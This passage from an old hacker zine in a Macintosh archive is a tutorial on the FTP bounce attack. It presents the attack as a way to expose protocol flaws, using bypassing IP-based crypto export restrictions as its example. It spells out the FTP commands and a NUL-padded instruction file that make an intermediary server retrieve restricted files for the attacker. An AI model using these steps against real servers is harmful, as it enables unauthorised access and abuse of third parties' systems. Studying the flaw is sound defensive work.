home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Midnight-Raid / MIDNIGHT_RAIDvol1iss3.docÉ.sit / MIDNIGHT_RAIDvol1iss3.docmaker.rsrc / TEXT_146.txt < prev    next >
Text File  |  1999-03-03  |  4KB  |  90 lines

  1. By MadHatter ‚Ä¢NA‚Ä¢
  2. This discusses one of many possible uses of the "FTP server bounce attack".
  3. The mechanism used is probably well-known, but to date interest in detailing
  4. or fixing it seems low to nonexistent.  This particular example demonstrates
  5. yet another way in which most electronically enforced "export restrictions" are
  6. completely useless and trivial to bypass.  It is chosen in an effort to make
  7. the reader sit up and notice that there are some really ill-conceived aspects
  8. of the standard FTP protocol.
  9.  
  10. Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion
  11. of some of these issues a couple of months ago which got me thinking more
  12. deeply about them.
  13.  
  14. The motive
  15. ==========
  16.  
  17. You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve
  18. cryptographic source code from crypto.com in the US.  The FTP server at
  19. crypto.com is set up to allow your connection, but deny access to the crypto
  20. sources because your source IP address is that of a non-US site [as near as
  21. their FTP server can determine from the DNS, that is].  In any case, you
  22. cannot directly retrieve what you want from crypto.com's server.
  23.  
  24. However, crypto.com will allow ufred.edu to download crypto sources because
  25. ufred.edu is in the US too.  You happen to know that /incoming on ufred.edu
  26. is a world-writeable directory that any anonymous user can drop files into and
  27. read them back from.  Crypto.com's IP address is C.C.C.C.
  28.  
  29. The attack
  30. ==========
  31.  
  32. This assumes you have an FTP server that does passive mode.  Open an FTP
  33. connection to your own machine's real IP address [not localhost] and log in.
  34. Change to a convenient directory that you have write access to, and then do:
  35.  
  36.         quote "pasv"
  37.         quote "stor foobar"
  38.  
  39. Take note of the address and port that are returned from the PASV command,
  40. F,F,F,F,X,X.  This FTP session will now hang, so background it or flip to
  41. another window or something to proceed with the rest of this.
  42.  
  43. Construct a file containing FTP server commands.  Let's call this file
  44. "instrs".  It will look like this:
  45.  
  46.         user ftp
  47.         pass -anonymous@
  48.         cwd /export-restricted-crypto
  49.         type i
  50.         port F,F,F,F,X,X
  51.         retr crypto.tar.Z
  52.         quit
  53.         ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
  54.         ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
  55.         ...
  56.  
  57. F,F,F,F,X,X is the same address and port that your own machine handed you
  58. on the first connection.  The trash at the end is extra lines you create,
  59. each containing 250 NULLS and nothing else, enough to fill up about 60K of
  60. extra data.  The reason for this filler is explained later.
  61.  
  62. Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming.
  63. Now type the following into this FTP session, which transfers a copy of your
  64. "instrs" file over and then tells ufred.edu's FTP server to connect to
  65. crypto.com's FTP server using your file as the commands:
  66.  
  67.         put instrs
  68.         quote "port C,C,C,C,0,21"
  69.         quote "retr instrs"
  70.  
  71. Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP
  72. connection.  If the connection to ufred.edu didn't die by itself due to an
  73. apparently common server bug, clean up by deleting "instrs" and exiting.
  74. Otherwise you'll have to reconnect to finish.
  75.  
  76. Discussion
  77. ==========
  78.  
  79. There are several variants of this.  Your PASV listener connection can be
  80. opened on any machine that you have file write access to -- your own, another
  81. connection to ufred.edu, or somewhere completely unrelated.  In fact, it does
  82. not even have to be an FTP server -- any utility that will listen on a known
  83. TCP port and read raw data from it into a file will do.  A passive-mode FTP
  84. data connection is simply a convenient way to do this.
  85.  
  86. The extra nulls at the end of the command file are to fill up the TCP windows
  87. on either end of the ufred -> crypto connection, and ensure that the command
  88. connection stays open long enough for the whole session to be executed.
  89. Otherwise, most FTP servers tend to abort all transfers and command processing
  90. when the control connection closes prematu